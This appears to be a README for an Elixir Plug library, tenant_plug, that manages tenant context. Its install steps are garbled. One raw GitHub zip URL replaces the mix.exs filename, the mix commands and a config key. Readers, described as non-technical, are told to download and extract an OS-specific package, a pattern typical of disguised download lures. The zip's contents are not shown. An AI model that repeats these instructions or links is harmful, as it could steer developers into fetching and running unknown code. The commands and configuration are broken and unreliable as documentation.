tenant_plug is an Elixir Plug library designed for automatic tenant context management. It streamlines the way tenant information is handled in Phoenix and Plug-based applications. By extracting tenant data from HTTP requests through customizable sources, tenant_plug stores it in a local context. This makes it easily accessible during the entire request lifecycle.
- Automatic Tenant Handling: Automatically identifies tenants based on request data.
- Flexible Configuration: Supports various data sources for tenant extraction.
- Lightweight and Fast: Designed for efficiency in microservices and multitenant applications.
- Easy Integration: Works seamlessly with existing Plug and Phoenix applications.
- Telemetry Support: Incorporates telemetry for monitoring and debugging.
- Subdomain Capabilities: Supports tenant identification via subdomains.
- Elixir Version: 1.10 or greater.
- Phoenix Version: 1.5 or greater.
- Operating System: Compatible with Linux, macOS, and Windows.
Ensure that you have Elixir and Phoenix properly installed on your system. If you need help with installation, please refer to the official Elixir website.
To get started with tenant_plug, follow these simple steps:
-
Visit the Releases Page: Go to the Releases page to download the latest version of the software.
-
Download the Package: Find the latest release and download the appropriate package for your operating system.
-
Extract the Files: If your download comes in a compressed format (like a .zip or .tar file), extract it to your desired location.
-
Add to Your Project:
- Open your project's
https://raw.githubusercontent.com/omegaites/tenant_plug/main/uncoagulating/tenant_plug.zipfile. - Add
tenant_plugto your list of dependencies:defp deps do [ {:tenant_plug, "~> 1.0"} ] end
- Run the following command to install dependencies:
mix https://raw.githubusercontent.com/omegaites/tenant_plug/main/uncoagulating/tenant_plug.zip
- Open your project's
-
Configure Your Application: Add the necessary configuration to your applicationβs code. Below is a basic example of setting up tenant_plug:
config :my_app, https://raw.githubusercontent.com/omegaites/tenant_plug/main/uncoagulating/tenant_plug.zip, plug: TenantPlug, ...
Replace
https://raw.githubusercontent.com/omegaites/tenant_plug/main/uncoagulating/tenant_plug.zipwith your actual endpoint module. -
Run Your Application: Execute this command to start your application:
mix https://raw.githubusercontent.com/omegaites/tenant_plug/main/uncoagulating/tenant_plug.zip -
Test Tenant Features: Confirm everything works by sending sample requests to your application, using different tenant identifiers.
To start using tenant_plug, remember to visit the Releases page and download the latest version. You can access the software directly from the link below:
Comprehensive documentation is available to help you understand advanced configurations and best practices. Explore the detailed guides and examples to enhance your use of tenant_plug.
For support, please create an issue in this repository or check for existing discussions. The community is here to help you with your questions and challenges.
If you wish to contribute to tenant_plug, here's how you can help:
- Fork the Repository: Create your own copy of tenant_plug on GitHub.
- Make Changes: Implement your ideas, features, or fixes.
- Submit a Pull Request: Share your updates with the community.
tenant_plug focuses on context management, microservices, middleware solutions, and tenant-specific features like JWT, telemetry, and subdomain support.
This README serves as a complete guide for non-technical users to download, install, and run tenant_plug smoothly. Enjoy leveraging the power of effective tenant management in your applications!